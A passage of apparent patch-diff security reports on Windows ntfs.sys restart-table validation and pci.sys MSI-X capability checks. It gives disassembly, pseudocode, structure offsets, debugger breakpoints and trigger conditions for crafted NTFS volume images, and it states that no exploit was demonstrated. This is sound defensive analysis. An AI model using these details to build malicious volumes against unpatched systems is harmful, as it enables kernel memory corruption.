00000001C020606A  sub     ecx, [rdi+10h]                ; minus dest start VCN
00000001C020606D  add     ecx, ebx                       ; plus loop counter -> write index
00000001C020606F  test    eax, eax                       ; feature result
00000001C0206071  jz      short loc_1C020607C           ; feature == 0 -> skip bounds check
00000001C0206073  cmp     ecx, [rdi+0Ch]                ; index vs capacity
00000001C0206076  jnb     loc_1C020612E                 ; -> STATUS_DISK_CORRUPT
00000001C020607C  mov     eax, ebx
00000001C020607E  mov     rax, [r15+rax*8+20h]          ; read source extent
00000001C0206083  mov     [rdi+rcx*8+20h], rax          ; 8-byte write at computed index
00000001C0206088  inc     ebx
00000001C020608A  movzx   eax, word ptr [r15+0Eh]
00000001C020608F  cmp     ebx, eax
00000001C0206091  jmp     short loc_1C0206058

`PageUpdateAnalysis` — Patched copy loop (`0x1C0205D04`)

00000001C0205F9C  mov     r8d, r14d
00000001C0205F9F  cmp     r14w, [r13+0Eh]               ; counter vs entry count
00000001C0205FA4  jnb     short loc_1C0205FDD
00000001C0205FA6  mov     r9, [rsp+188h+var_148]        ; dest restart-table entry
00000001C0205FAB  mov     ecx, [r13+18h]                ; src VCN field
00000001C0205FAF  sub     ecx, [r9+10h]                 ; minus dest start VCN
00000001C0205FB3  add     ecx, r8d                       ; plus loop counter -> write index
00000001C0205FB6  cmp     ecx, [r9+0Ch]                 ; index vs capacity (unconditional)
00000001C0205FBA  jnb     short loc_1C0205FFE           ; -> STATUS_DISK_CORRUPT
00000001C0205FBC  mov     eax, r8d
00000001C0205FBF  mov     edx, ecx
00000001C0205FC1  mov     rcx, [r13+rax*8+20h]          ; read source extent
00000001C0205FC6  mov     rax, [rsp+188h+var_148]
00000001C0205FCB  mov     [rax+rdx*8+20h], rcx          ; 8-byte write at checked index
00000001C0205FD0  inc     r8d
00000001C0205FD3  movzx   eax, word ptr [r13+0Eh]
00000001C0205FD8  cmp     r8d, eax
00000001C0205FDB  jb      short loc_1C0205FAB

The unpatched build has the sequence lea rcx, g_Feature_2076398905_59354624 / call EvaluateCurrentState / test eax,eax / jz gating the cmp ecx,[rdi+0xc] / jnb. The patch removes those four instructions; the cmp/jnb always executes.

`ReadRestartTable` — Unpatched key sequence (`0x1C020634C`)

00000001C02063D3  movzx   eax, word ptr [r15+0Eh]       ; entry count
00000001C02063DE  cmp     ax, r14w
00000001C02063E2  jbe     short loc_1C02063F0
00000001C02063E7  lea     edi, ds:20h[rax*8]            ; computed = (count<<3)+0x20
00000001C02063EE  jmp     short loc_1C02063F5
00000001C02063F0  mov     edi, 28h
00000001C02063F5  lea     rcx, g_Feature_2076398905_59354624_FeatureDescriptorDetails
00000001C02063FC  call    EvaluateCurrentState
00000001C0206401  test    eax, eax
00000001C0206403  jz      short loc_1C0206412           ; feature == 0 -> skip size check
00000001C0206405  movzx   eax, word ptr [r15+4]         ; declared size
00000001C020640A  cmp     edi, eax
00000001C020640C  jnz     loc_1C02064CD                 ; -> STATUS_DISK_CORRUPT
00000001C0206412  mov     r12d, edi
00000001C0206415  add     r12, r15
00000001C0206420  sub     edx, eax                       ; length = [rsi+40h] - declared size
00000001C0206428  call    NtfsCheckRestartTable

In the patched build (0x1C0206294) the same region reads ... lea edi, ds:20h[rax*8] ... movzx ecx, word ptr [r8+4] / cmp edi, ecx / jnz <corrupt> with no EvaluateCurrentState gate.

`InitializeRestartState` — Unpatched gated copy path (`0x1C016DA08`)

00000001C016E01B  lea     rcx, g_Feature_2076398905_59354624_FeatureDescriptorDetails
00000001C016E022  call    EvaluateCurrentState
00000001C016E02A  mov     r10d, [rbx+0Ch]               ; entry count
00000001C016E02E  lea     ecx, [r10-1]
00000001C016E032  test    eax, eax
00000001C016E034  jz      short loc_1C016E06F           ; feature == 0 -> plain shl path
00000001C016E03E  lea     edx, [r11+8]
00000001C016E042  call    RtlULongMult                  ; overflow-checked (count-1)*8
00000001C016E047  test    eax, eax
00000001C016E049  js      loc_1C016E9E6                 ; overflow -> error
00000001C016E064  cmp     rcx, rax
00000001C016E067  jb      loc_1C016E9E6
00000001C016E06D  jmp     short loc_1C016E08A
00000001C016E06F  shl     rcx, 3                         ; no overflow check
00000001C016E081  cmp     rdx, rcx
00000001C016E084  jb      loc_1C016EA64
00000001C016E08A  mov     r8d, r10d
00000001C016E08D  shl     r8, 3
00000001C016E091  lea     rdx, [r13+24h]                ; Src
00000001C016E095  lea     rcx, [rbx+20h]                ; Dst
00000001C016E099  call    memmove

The patch removes the three EvaluateCurrentState gates in this function, so the overflow-checked RtlULongMult path and the associated size compares run unconditionally.

5. Trigger Conditions

Prepare a crafted NTFS volume image (VHD or raw disk) whose transaction log ($LogFile) restart area and restart tables contain the manipulated fields below.
Manipulate the restart-record fields consumed by the recovery path:
ReadRestartTable reads the entry count at [record+0x0e] and the declared size at [record+0x04]; a mismatch with (count<<3)+0x20 is the input to Finding 2.
PageUpdateAnalysis reads the source VCN field at [record+0x18] and the entry count at [record+0x0e]; the write index is source_vcn − dest_start_vcn + counter, compared against the destination capacity at [dest+0x0c] (Finding 1).
InitializeRestartState reads the entry count at [entry+0x0c] used to size the restart-table memmove (Finding 3).
Mount the volume (for example CreateVirtualDisk + AttachVirtualDisk, or attaching a physical device). NTFS runs log recovery on mount, reaching NtfsRestartVolume → InitializeRestartState → ReadRestartTable and NtfsRestartVolume → AnalysisPass → PageUpdateAnalysis.
Observed behavior. On the unpatched build, whether the gated checks execute depends on the runtime state of g_Feature_2076398905_59354624. When a gated check does not execute, an inconsistent restart record is processed without that check; the patched build always raises STATUS_DISK_CORRUPT (0xC0000032) on the same inconsistency. A demonstrated pool overflow was not reproduced against the shipped default configuration.

6. Impact Assessment

Operation guarded (Finding 1): an 8-byte write into the destination restart-table entry's extent array at index source_vcn − dest_start_vcn + counter. If the feature-gated bounds check does not run and a crafted log record supplies an index beyond [dest+0x0c], the write lands past the allocation, which is why the corrected CWE is CWE-787.
Values involved: both the index and the written 8 bytes derive from the on-disk restart record, so a successful bypass would be a controllable pool write. This is stated as the guarded operation, not as a reproduced primitive.
Not demonstrated: the runtime default of the feature flag in the unpatched build, a concrete out-of-range index surviving the other log-record validators (NtfsCheckLogRecord, NtfsCheckRestartTable), and any exploitation beyond the write itself. Those claims are therefore not made here.

7. Verification Notes

Addresses use the preferred image base 0x1C000000; actual runtime addresses are the loaded module base plus the offset.

Finding 1 — `PageUpdateAnalysis`

Offset (unpatched)	Instruction	Role
`0x1C0206061`	`call EvaluateCurrentState`	Feature evaluation — removed in patch
`0x1C020606F`	`test eax, eax`	Feature result — removed in patch
`0x1C0206071`	`jz 0x1C020607C`	Skips bounds check when feature == 0 — removed in patch
`0x1C0206073`	`cmp ecx, [rdi+0xc]`	Bounds check — unconditional in patch
`0x1C0206076`	`jnb 0x1C020612E`	Branch to `STATUS_DISK_CORRUPT`
`0x1C0206083`	`mov [rdi+rcx*8+0x20], rax`	The guarded 8-byte write

Restart-table entry fields referenced by the code: capacity at +0x0c, start VCN at +0x10, source VCN field at +0x18, entry count at +0x0e, extent array at +0x20.

Finding 2 — `ReadRestartTable`

Offset (unpatched)	Instruction	Role
`0x1C02063D3`	`movzx eax, word [r15+0xe]`	Reads entry count
`0x1C02063F5`	`lea rcx, g_Feature_2076398905_59354624`	Feature descriptor — removed in patch
`0x1C02063FC`	`call EvaluateCurrentState`	Feature evaluation — removed in patch
`0x1C0206401`–`0x1C0206403`	`test eax,eax` / `jz`	Skips size check when feature == 0 — removed in patch
`0x1C020640A`–`0x1C020640C`	`cmp edi,eax` / `jnz`	Size-consistency check — unconditional in patch

Finding 3 — `InitializeRestartState`

Feature gates at 0x1C016DF20, 0x1C016E01B, 0x1C016E11D; the overflow-checked RtlULongMult size computation at 0x1C016E042 guards the restart-table memmove at 0x1C016E099.

8. Changed Functions — Full Triage

Behavioral changes (feature gate removed)

PageUpdateAnalysis (unpatched 0x1C0205DC4, patched 0x1C0205D04) — One of two EvaluateCurrentState(&g_Feature_2076398905_59354624) gates removed (the copy-loop gate). The cmp ecx,[rdi+0xc] / jnb bounds check, present in both builds, now runs unconditionally. Loop counter register changed (ebx→r8d) and WPP trace-line immediates shifted (0x1E1758/0x1E17CD → 0x1E17AB/0x1E1739); the second feature gate on g_Feature_2859161914_59426036 is present in both builds and unchanged.

ReadRestartTable (unpatched 0x1C020634C, patched 0x1C0206294) — The single EvaluateCurrentState gate on the (count<<3)+0x20 size-consistency check removed; the cmp/jnz now runs unconditionally. Stack frame and register allocation shifted; remaining differences are WPP trace-constant shifts.

InitializeRestartState (0x1C016DA08, same address both builds) — All three EvaluateCurrentState gates removed. The overflow-checked RtlULongMult size path and the associated compares now run unconditionally ahead of the restart-table memmove copies. Stack frame reduced 0x490→0x480 and registers reallocated; memmove call count is unchanged (both builds copy at the same sites).

Tracing-metadata-only changes (not security relevant)

Fourteen further functions differ only in WPP software-tracing metadata — trace line-number immediates and/or the per-build trace-GUID control-block symbol — with no control-flow, bounds-check, or copy change: AnalysisPass, DoAction, NtfsAbortTransaction, OpenAttributeForRestart, OpenAttributesForRestart, NtfsCloseAttributesFromRestart, NtfsIsTransactionCommitted, RedoPass, UndoPass, WPP_SF_qDLi, WPP_SF_qDLiD, WPP_SF_qDLiDDL, WPP_SF_qDLii, WPP_SF_qDLiiiiiiiii.

9. Unmatched Functions

No functions were added or removed. The patch consists entirely of in-place modifications: the removal of the g_Feature_2076398905_59354624 feature gate from three restart-recovery functions, plus tracing-metadata churn in fourteen others.

Implication: The validation logic was already present in the codebase behind a runtime WIL feature-staging flag. The patch promotes those checks to unconditional execution. No new validation helper or sanitizer was introduced.

10. Confidence & Caveats

Confidence: High for the mechanism; the exploitability is not established

The mechanism is verified directly against both builds: g_Feature_2076398905_59354624 is referenced five times across the three functions in the unpatched build and zero times in the patched build, and EvaluateCurrentState calls EvaluateFeature (WIL feature staging), so the gate is a runtime feature flag evaluated on retail builds — not a checked-build (#if DBG) assertion. The direction is confirmed: the patched build is strictly stricter (the checks always run).

What is and is not claimed

Claimed: three real validation checks in NTFS $LogFile restart-table recovery were feature-gated in the unpatched build and made unconditional in the patched build; the guarded write in PageUpdateAnalysis uses an index and value derived from on-disk log-record fields.
Not claimed: a reproduced pool overflow, the runtime default state of the feature flag in the unpatched build, or any exploitation chain. These could not be determined from the binaries and are not asserted.

What to verify to raise or lower severity

The runtime default of g_Feature_2076398905_59354624 in the unpatched build (enabled-by-default would mean the checks already ran on default retail; disabled-by-default would mean they did not).
Whether the upstream log-record validators (NtfsCheckLogRecord, NtfsCheckRestartTable) already constrain the entry count / VCN fields enough to prevent an out-of-range index reaching PageUpdateAnalysis.

ntfs.sys — $LogFile restart-table validation and integer-overflow checks made unconditional (CWE-20, CWE-190) — feature gate removed, fixed

2026-07-03T00:00:00-07:00

1. Overview

Unpatched Binary: ntfs_unpatched.sys
Patched Binary: ntfs_patched.sys
Overall Similarity Score: 0.9922
Diff Statistics: 4047 matched functions, 10 changed functions, 4037 identical functions, and 0 unmatched functions in either direction.
Verdict: The patch removes a WIL staging feature gate (g_Feature_2859161914_59426036, evaluated by EvaluateCurrentState) from a set of NTFS Log File Service (LFS) restart-table routines. In the unpatched build, several restart-table consistency checks (zero entry-size/count detection, entry-count overflow detection, and a checked-addition on the entry count) only run when that feature evaluates true; when it evaluates false the checks are skipped. The patched build deletes the gate so the checks always run. The change is directionally a hardening: the patched build is strictly stricter. The reachable impact is modest — the affected structures are LFS restart tables (parsed from the $LogFile restart area during volume mount/recovery), and the one integer-overflow site is fed by internally bounded counts, so no attacker-controlled kernel heap-overflow primitive is demonstrable from these binaries.

2. Vulnerability Summary

All affected routines operate on NTFS restart tables — the fixed-size, pool-allocated bookkeeping tables (open-attribute table, dirty-page table, transaction table) that the Log File Service uses during transaction logging and crash recovery. The on-disk source for the validated table is the volume's $LogFile restart area, which NtfsCheckRestartTable parses during mount/recovery.

The shared mechanism is a single WIL feature descriptor, g_Feature_2859161914_59426036_FeatureDescriptorDetails, queried through EvaluateCurrentState — the WIL feature-state evaluator (0x1C0030128 unpatched), not a resource-lock/ERESOURCE query. In the unpatched build the routines call EvaluateCurrentState and only execute their consistency checks when it returns non-zero (feature enabled); when it returns zero (feature disabled) the checks are branched over. The patched build removes every one of these calls from the restart-table routines (EvaluateCurrentState call count drops from 13 to 4), making the checks unconditional. The four remaining calls in the patched build are in an unrelated feature family (NtfsSetAllocationInfo, NtfsSetEndOfFileInfo, NtfsSetPositionInfo) that is still gated in both builds.

Finding 1: Gated integer-overflow check on restart-table growth

Severity: Low
Vulnerability Class: Integer Overflow (CWE-190) — defensive check made unconditional
Affected Function: NtfsExtendRestartTable (0x1C0024660 unpatched, 0x1C0024640 patched)
Root Cause: When the feature is disabled, the function computes the new entry count with a direct 32-bit add (add edx, edi) instead of the overflow-checked RtlULongAdd. The result feeds InitializeNewTable (pool sizing) while the subsequent memmove copies entry_size * old_count bytes. A wrap would produce an undersized allocation followed by an oversized copy.
Reachability: Not demonstrably attacker-controlled. The augend is the 16-bit NumberEntries field ([rbx+2], ≤ 0xFFFF); the addend (edi/arg2) is a small growth increment supplied by callers (0x10 from NtfsAllocateRestartTableIndex; a division-derived count in NtfsAllocateRestartTableFromIndex and PageUpdateAnalysis). A 32-bit wrap requires an addend near 0xFFFFFFFF, which none of the callers produce. The RtlULongAdd is therefore a corruption guard, not a reachable heap-overflow primitive.

Finding 2: Gated zero-size / count-overflow checks in restart-table deallocation

Severity: Low
Vulnerability Class: Missing Validation of restart-table fields (CWE-20)
Affected Function: NtfsAllocateRestartTableFromIndex (0x1C002DC38)
Root Cause: Two checks are gated: (1) entry_size == 0 || NumberEntries == 0 and (2) the in-use count ([rbx+4]) reaching 0xFFFF or exceeding NumberEntries after increment. When the feature is disabled both are skipped. Unchecked, a corrupt entry_size/count feeds the memset size and the free-list index arithmetic.

Finding 3: Gated header/count-overflow checks in restart-table allocation

Severity: Low
Vulnerability Class: Missing Validation / count overflow (CWE-20)
Affected Function: NtfsAllocateRestartTableIndex (0x1C000E124)
Root Cause: Same pattern as Finding 2: a gated entry_size==0 || NumberEntries==0 check and a gated post-increment count-overflow check (==0xFFFF or > NumberEntries). When skipped, the function can return a corrupt free-list index used by callers in pointer arithmetic.

Finding 4: Gated validation path in the on-disk restart-table validator

Severity: Medium
Vulnerability Class: Insufficient Validation of on-disk metadata (CWE-20)
Affected Function: NtfsCheckRestartTable (0x1C01BC2D4 unpatched, 0x1C01BC2C4 patched)
Root Cause: The validator has two paths selected by the feature gate. With the feature enabled it runs the strong checks (entry_size != 0, entry_size <= buffer_size, NumberEntries != 0, NumberInUse != 0, and a division-based check that the declared entry count fits the buffer). With the feature disabled it takes a weaker path, and a second gated check inside the free-list traversal (0x1C01BC49E) relaxes the entry-offset bounds test. This is the routine that parses the attacker-influenceable $LogFile restart area during mount/recovery, so it carries the most meaningful reachable impact. The patched build removes both gates and always runs the strong path.

3. Pseudocode Diff

`NtfsExtendRestartTable`

// === UNPATCHED (0x1C0024660) ===
// Feature gate: overflow-checked add only when the feature is ENABLED.
if (EvaluateCurrentState(&g_Feature_2859161914_59426036) != 0) {
    if (RtlULongAdd(NumberEntries, arg2, &new_count) < 0)
        ExRaiseStatus(STATUS_DISK_CORRUPT_ERROR);   // 0xC0000032
} else {
    new_count = (uint32_t)NumberEntries + arg2;       // unchecked 32-bit add
}
InitializeNewTable(entry_size, new_count, flags, Scb);
memmove(new_table + 0x18, old_table + 0x18, entry_size * NumberEntries);

// === PATCHED (0x1C0024640) ===
// Gate removed: overflow-checked add is unconditional.
if (RtlULongAdd(NumberEntries, arg2, &new_count) < 0)
    ExRaiseStatus(STATUS_DISK_CORRUPT_ERROR);
InitializeNewTable(entry_size, new_count, flags, Scb);
memmove(new_table + 0x18, old_table + 0x18, entry_size * NumberEntries);

`NtfsAllocateRestartTableFromIndex`

// === UNPATCHED ===
// Zero-size / count checks gated behind the feature evaluation.
if (EvaluateCurrentState(&g_Feature_2859161914_59426036) != 0
        && (entry_size == 0 || NumberEntries == 0))
    ExRaiseStatus(STATUS_DISK_CORRUPT_ERROR);   // SKIPPED when feature disabled
memset(entry, 0, entry_size);
*entry = 0xffffffff;
in_use_count += 1;
if (EvaluateCurrentState(&g_Feature_2859161914_59426036) != 0) {
    if (in_use_count == 0xffff || in_use_count > NumberEntries)
        ExRaiseStatus(STATUS_DISK_CORRUPT_ERROR); // SKIPPED when feature disabled
}

// === PATCHED ===
if (entry_size == 0 || NumberEntries == 0)
    ExRaiseStatus(STATUS_DISK_CORRUPT_ERROR);
memset(entry, 0, entry_size);
*entry = 0xffffffff;
in_use_count += 1;
if (in_use_count == 0xffff || in_use_count > NumberEntries)
    ExRaiseStatus(STATUS_DISK_CORRUPT_ERROR);

(The same unconditional-check restoration applies to NtfsAllocateRestartTableIndex and to the single-path unification in NtfsCheckRestartTable, detailed in Section 4.)

4. Assembly Analysis

`NtfsExtendRestartTable` (`0x1C0024660`, unpatched)

00000001C002469E  lea     rcx, g_Feature_2859161914_59426036_FeatureDescriptorDetails
00000001C00246A5  call    EvaluateCurrentState        ; WIL feature evaluation
00000001C00246AA  test    eax, eax
00000001C00246AC  jz      loc_1C00246F5               ; feature OFF -> skip checked add
; --- feature ON: overflow-checked path ---
00000001C00246AE  movzx   ecx, word ptr [rbx+2]       ; NumberEntries (augend)
00000001C00246B2  lea     r8, [rsp+38h+pulResult]
00000001C00246B7  mov     edx, edi                    ; arg2 (addend)
00000001C00246B9  call    RtlULongAdd                 ; checked addition
00000001C00246BE  test    eax, eax
00000001C00246C0  jns     loc_1C00246EF
00000001C00246C8  mov     ebx, 0C0000032h             ; STATUS_DISK_CORRUPT_ERROR
00000001C00246E2  call    cs:__imp_ExRaiseStatus
; --- feature OFF: unchecked path ---
00000001C00246F5  movzx   edx, word ptr [rbx+2]
00000001C00246F9  add     edx, edi                    ; unchecked 32-bit add
00000001C00246FB  movzx   r8d, word ptr [rbx+6]
00000001C0024703  movzx   ecx, word ptr [rbx]
00000001C0024706  call    InitializeNewTable          ; pool sizing uses new count
00000001C002470B  movzx   ecx, word ptr [rbx]
00000001C0024712  movzx   eax, word ptr [rbx+2]       ; original NumberEntries
00000001C002471D  imul    ecx, eax                    ; entry_size * original count
00000001C0024720  movsxd  r8, ecx
00000001C0024727  call    memmove                     ; copy old table body

`NtfsExtendRestartTable` (`0x1C0024640`, patched)

00000001C0024684  movzx   ecx, r9w                    ; NumberEntries (augend)
00000001C0024688  lea     r8, [rsp+38h+pulResult]
00000001C002468D  call    RtlULongAdd                 ; unconditional checked add
00000001C0024692  test    eax, eax
00000001C0024694  jns     loc_1C00246C3
00000001C002469C  mov     ebx, 0C0000032h             ; STATUS_DISK_CORRUPT_ERROR
00000001C00246B6  call    cs:__imp_ExRaiseStatus
00000001C00246D1  call    InitializeNewTable
00000001C00246F2  call    memmove

`NtfsAllocateRestartTableFromIndex` (`0x1C002DC38`, unpatched)

00000001C002DDCF  lea     rcx, g_Feature_2859161914_59426036_FeatureDescriptorDetails
00000001C002DDD6  call    EvaluateCurrentState        ; gate #1
00000001C002DDDB  test    eax, eax
00000001C002DDDD  jz      loc_1C002DDFC               ; feature OFF -> skip zero-size check
00000001C002DDDF  cmp     word ptr [rbx], di          ; entry_size == 0 ?
00000001C002DDE2  jz      loc_1C002DDEA
00000001C002DDE4  cmp     word ptr [rbx+2], di        ; NumberEntries == 0 ?
00000001C002DDE8  jnz     loc_1C002DDFC
00000001C002DDFC  movzx   r8d, word ptr [rbx]         ; size for memset
00000001C002DE05  call    memset
00000001C002DE0D  lea     rcx, g_Feature_2859161914_59426036_FeatureDescriptorDetails
00000001C002DE14  add     word ptr [rbx+4], r12w      ; in-use count += 1
00000001C002DE19  call    EvaluateCurrentState        ; gate #2
00000001C002DE1E  test    eax, eax
00000001C002DE20  jz      loc_1C002DE76               ; feature OFF -> skip overflow check
00000001C002DE22  movzx   eax, word ptr [rbx+4]
00000001C002DE26  mov     ecx, 0FFFFh
00000001C002DE2B  cmp     ax, cx                      ; count == 0xffff ?
00000001C002DE2E  jz      loc_1C002DE36
00000001C002DE30  cmp     ax, word ptr [rbx+2]        ; count > NumberEntries ?
00000001C002DE34  jbe     loc_1C002DE76

`NtfsCheckRestartTable` (`0x1C01BC2D4`, unpatched)

00000001C01BC2F6  lea     rcx, g_Feature_2859161914_59426036_FeatureDescriptorDetails
00000001C01BC300  call    EvaluateCurrentState        ; path-selection gate
00000001C01BC305  movzx   r9d, word ptr [rdi]         ; entry_size
00000001C01BC30C  test    eax, eax
00000001C01BC30E  jz      loc_1C01BC381               ; feature OFF -> weaker path
; --- feature ON: strong path ---
00000001C01BC310  test    r9w, r9w                    ; entry_size != 0
00000001C01BC31A  cmp     r10d, ebx                   ; entry_size <= buffer_size
00000001C01BC31F  movzx   r8d, word ptr [rdi+2]       ; NumberEntries != 0
00000001C01BC32A  movzx   r11d, word ptr [rdi+4]      ; NumberInUse != 0
; ... second gate inside free-list traversal ...
00000001C01BC49E  lea     rcx, g_Feature_2859161914_59426036_FeatureDescriptorDetails
00000001C01BC4A5  call    EvaluateCurrentState
00000001C01BC4AA  test    eax, eax
00000001C01BC4AC  jz      loc_1C01BC4CE               ; relaxed offset-bounds path

In the patched build (0x1C01BC2C4) the routine has no EvaluateCurrentState calls; it enters directly at the strong checks (entry_size != 0, entry_size <= buffer_size, NumberEntries != 0, NumberInUse != 0, then div to confirm the entry count fits the buffer).

5. Trigger Conditions

Volume/log preparation: The validated table originates from the $LogFile restart area of a mounted NTFS volume. Reaching NtfsCheckRestartTable with attacker-influenced fields requires presenting a crafted NTFS volume (VHD or physical media) whose log restart area is malformed.
Recovery/mount: Mount or otherwise trigger LFS recovery so the restart area is parsed and the restart tables are built, validated (NtfsCheckRestartTable), and grown (NtfsExtendRestartTable, NtfsAllocateRestartTableIndex, NtfsAllocateRestartTableFromIndex).
Feature state: The bypass only exists when g_Feature_2859161914_59426036 evaluates false in the unpatched build. When it evaluates true (or in the patched build, always), the consistency checks run and malformed tables raise STATUS_DISK_CORRUPT_ERROR (0xC0000032).
Observable effect (if checks are absent): A malformed restart table with an inconsistent entry_size/NumberEntries/NumberInUse can drive incorrect free-list index arithmetic and memset/pool sizing. This can surface as STATUS_DISK_CORRUPT_ERROR when the checks are present, or as out-of-bounds access when they are skipped. A controlled, attacker-sized kernel heap overflow is not demonstrable from these binaries because the growth addend in NtfsExtendRestartTable is not attacker-scaled (see Finding 1).

6. Impact Assessment

Nature: A staged consistency/overflow-check feature for LFS restart tables is made unconditional. The patched build is strictly stricter; the unpatched build skips the checks only when the WIL feature evaluates false.
Reachable impact: Bounded. NtfsCheckRestartTable parses the $LogFile restart area, so its fields are influenceable by a crafted volume; skipping its strong path lets malformed restart tables through to routines that use entry_size/count fields for memset sizing, pool sizing, and free-list index math. That is a plausible out-of-bounds risk on a mount-a-malicious-volume (local, physical/VHD) attack surface.
Not demonstrable: The integer overflow in NtfsExtendRestartTable (Finding 1) is not reachable with attacker magnitude — the augend is a 16-bit field and every caller supplies a small growth addend, so NumberEntries + arg2 cannot wrap 32 bits. No arbitrary-size pool overflow, information leak, or code-execution primitive is provable from these two binaries.

7. Debugger Notes

Useful breakpoints for observing the gate behavior in the unpatched build:

bp ntfs!NtfsExtendRestartTable                 ; 0x1C0024660
bp 0x1C00246A5                                 ; call EvaluateCurrentState (feature eval)
bp 0x1C00246F5                                 ; unchecked add path (feature OFF)
bp 0x1C0024727                                 ; memmove of the old table body
bp ntfs!NtfsCheckRestartTable                  ; 0x1C01BC2D4
bp 0x1C01BC300                                 ; path-selection feature eval

0x1C00246A5: after call EvaluateCurrentState, EAX == 0 means the feature is disabled and the checked add is skipped (je 0x1C00246F5).
0x1C00246F9 (add edx, edi): EDX = zero-extended NumberEntries ([rbx+2]), EDI = growth addend. Both are small in practice.
0x1C0024727 (memmove): R8 = entry_size * NumberEntries (original), RCX = new table body.
0x1C01BC300: EAX != 0 selects the strong validation path; EAX == 0 selects the weaker path.

Restart-table header layout (structure at `rbx`/`rdi`)

+0x00 (WORD) EntrySize
+0x02 (WORD) NumberEntries (allocated)
+0x04 (WORD) NumberInUse (in-use / free counter)
+0x06 (WORD) Flags (bit 0 selects fixed-size vs computed-size table layout)
+0x0C (DWORD) FirstFreeEntry offset
+0x10 (DWORD) free-list head offset
+0x14 (DWORD) last-free / hint offset
+0x18 (BYTE[]) entry data

8. Changed Functions — Full Triage

Function Name (address)	Similarity	Change Type	Note
`NtfsExtendRestartTable` (`0x1C0024660`)	0.9096	Security Relevant	Removes the feature gate; the `RtlULongAdd` overflow check on `NumberEntries + growth` is now unconditional. Overflow itself not attacker-reachable (Finding 1).
`NtfsAllocateRestartTableFromIndex` (`0x1C002DC38`)	0.9651	Security Relevant	Removes the gate; zero entry-size/count and in-use-count overflow checks now unconditional.
`NtfsAllocateRestartTableIndex` (`0x1C000E124`)	0.8786	Security Relevant	Removes the gate; zero entry-size/count and entry-count overflow checks now unconditional.
`NtfsCheckRestartTable` (`0x1C01BC2D4`)	0.8353	Security Relevant	Unifies the two feature-selected validation paths into a single strict path (the on-disk `$LogFile` restart-area validator).
`InitializeNewTable` (`0x1C0019D10`)	0.9321	Behavioral	Restart-table pool allocator; feature gate removed from a `NumberInUse==0` early check before `NtfsLinkRestartTable`.
`PageUpdateAnalysis` (`0x1C0205D04`)	0.9572	Behavioral	Removes the gate around a `NumberEntries >= required` bounds check; caller of the restart-table routines.
`EvaluateCurrentState` (`0x1C0030128`)	0.6686	Behavioral	The WIL feature-state evaluator itself; refactored (relocated to `0x1C00303D0`, signature simplified). Not the vulnerability.
`NtfsSetPositionInfo` (`0x1C01D2D80`)	0.9854	Cosmetic	Feature call retargeted to the refactored evaluator; separate feature family, still gated in both builds.
`NtfsSetAllocationInfo` (`0x1C00DFA10`)	0.9928	Cosmetic	Same evaluator retargeting; separate feature, gated in both builds.
`NtfsSetEndOfFileInfo` (`0x1C011B630`)	0.9929	Cosmetic	Same evaluator retargeting; separate feature, gated in both builds.

9. Unmatched Functions

There are no unmatched functions in either build. All changes occurred inline within existing functions. An independent function-level diff of the two decompilations found no additional security-relevant change outside the ten functions above.

10. Confidence & Caveats

Confidence: High on the mechanism and direction. The gate is EvaluateCurrentState(g_Feature_2859161914_59426036) (a WIL staging feature), not a resource-lock query; the unpatched build skips the restart-table checks when the feature is disabled, and the patched build removes the gate so they always run. EvaluateCurrentState call sites drop from 13 to 4 across the two builds, all restart-table sites removed.
Scope of impact: The affected structures are LFS restart tables, parsed from the $LogFile restart area during mount/recovery — a local, crafted-volume attack surface. The strongest reachable concern is that NtfsCheckRestartTable's weak path lets malformed restart tables through to size/index computations. A specific, attacker-controlled kernel heap-overflow, information leak, or code-execution primitive is not provable from these binaries.
On the integer overflow: The RtlULongAdd in NtfsExtendRestartTable guards NumberEntries (WORD) + growth. Every caller supplies a small growth increment, so a 32-bit wrap is not reachable; the check is defensive hardening.

pci.sys — Missing MSI-X capability validation and dangling IO-mapping pointer causing double MmUnmapIoSpace (CWE-20, CWE-825) fixed

2026-07-03T00:00:00-07:00

1. Overview

Item	Value
Unpatched Binary	`pci_unpatched.sys`
Patched Binary	`pci_patched.sys`
Overall Similarity	0.559 (substantial divergence — major version rebuild)
Matched Functions	1145
Changed Functions	898
Identical Functions	247
Added (patched-only)	Numerous (major version rebuild — new DOE/CXL/TDISP/AER handlers, etc.)

Verdict: The patch makes two defensive changes in the PCI bus driver's MSI-X interrupt-resource processing path. (1) PciProcessInterruptDescriptor now validates the device-supplied MSI-X capability read from PCI configuration space (the capability ID byte must be 0x11 and the table BIR field must be in range) before setting up any BAR-to-vector mapping, rejecting a bad device with STATUS_INVALID_DEVICE_REQUEST. (2) PciProcessStartResources now clears the stored IO-space mapping pointer after MmUnmapIoSpace, preventing a later double unmap of the same system-PTE range during device stop/remove. Both code paths run only during PnP device start / enumeration against the device's own config space, so they are reachable by a malicious or malfunctioning PCIe device (including a VM PCI-passthrough / SR-IOV guest), not from an untrusted user-mode IOCTL. There is no integer-overflow or pool-overflow fix here: the allocation-size multiply and the copy length are byte-for-byte identical in both builds.

2. Vulnerability Summary

Finding 1 — Missing MSI-X Capability Validation (`PciProcessInterruptDescriptor`)

Field	Value
Severity	Medium
Class	Improper validation of device-controlled config data (CWE-20)
Function	`PciProcessInterruptDescriptor` (unpatched `0x1C004D10C` / patched `0x14009C810`)
Entry Point	`IRP_MJ_PNP / IRP_MN_START_DEVICE` via PnP Manager

Root Cause: On the MSI-X path (device-extension MSI type field == 3), the unpatched function reads the MSI-X capability from config space after allocating and copying, and then uses the device-supplied table BIR (BAR index, low 3 bits) and table offset without checking that the capability is genuinely MSI-X or that the BIR is in range:

PciReadDeviceConfig(a1, &v17, *(a1 + 57), 0xC);   // read MSI-X cap AFTER alloc
*(a5 + 12) = HIDWORD(v17) & 0xFFFFFFF8;            // table offset, stored unchecked
*(a5 + 8)  = BYTE4(v17) & 7;                       // BIR, stored unchecked (0..7)

The patch moves the read before the allocation and validates it:

PciReadDeviceConfig(a1, &v19, *(a1 + 61), 0xC);
if ( (_BYTE)v19 == 0x11 && (BYTE4(v19) & 7) != 7 ) { ... proceed ... }
else return STATUS_INVALID_DEVICE_REQUEST;         // 0xC0000184

Capability ID byte must be 0x11 (PCI_CAP_ID_MSIX).
Table BIR field (& 7) must not be 7 (i.e. must be ≤ 6).

The config-read offset changed from device-extension +0x39 (unpatched) to +0x3D (patched) only because the device-extension layout shifted between builds; both hold the stored MSI-X capability offset. The 32-bit size computation 88 * count + 8 and the matched memmove length are unchanged between builds — there is no integer-overflow fix in this function.

